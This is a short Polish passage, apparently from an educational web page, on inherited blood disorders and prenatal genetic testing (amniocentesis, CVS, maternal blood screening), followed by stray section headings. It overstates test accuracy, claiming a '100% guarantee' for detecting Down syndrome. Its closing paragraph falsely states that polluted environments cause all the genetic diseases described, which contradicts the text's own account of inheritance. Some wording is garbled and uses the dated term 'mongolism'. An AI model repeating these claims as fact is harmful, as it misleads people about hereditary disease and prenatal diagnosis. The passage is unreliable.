Ciężkie objawy występują u tych ludzi, którzy wadę tą dziedziczą po obojgu rodzicach, u tych którzy dziedziczą tylko częściowy defekt, choroba jest w formie utajonej, a ciężkie objawy rozpadu krwinek występują tylko pod wpływem takich bodźców jak gorączka, narkoza itp.


Badania genetyczne wykorzystywane są w diagnostyce prenatalnej. Najczęściej stosowana jest amniocenteza polegająca na pobraniu próbki wód płodowych, pozwalająca wykryć zaburzenia chromosomowe, np. syndrom Downa (ze 100% gwarancja). Badane są też kosmyki kosmówki, będące częścią łożyska (tzw. badanie CVS), a od niedawna wystarczy pobrać matce próbkę krwi, by wykryć poważne wady płodu (dają 80% gwarancji wykrycia rozszczepu kręgosłupa i 60-65% prawdopodobieństwa zdiagnolizowania monogloizmu). W czasie ciąży możliwe jest nawet wykonanie genetycznych testów na pochodzenie ojcostwa.

Przyczynami wszystkich tych chorób jest skażone środowisko, dlatego też musimy dbać o jego czystość i ograniczyć jego zatruwanie. Zdrowe środowisko to zdrowy człowiek.


Ochrona Prawna


Zjazdy i seminaria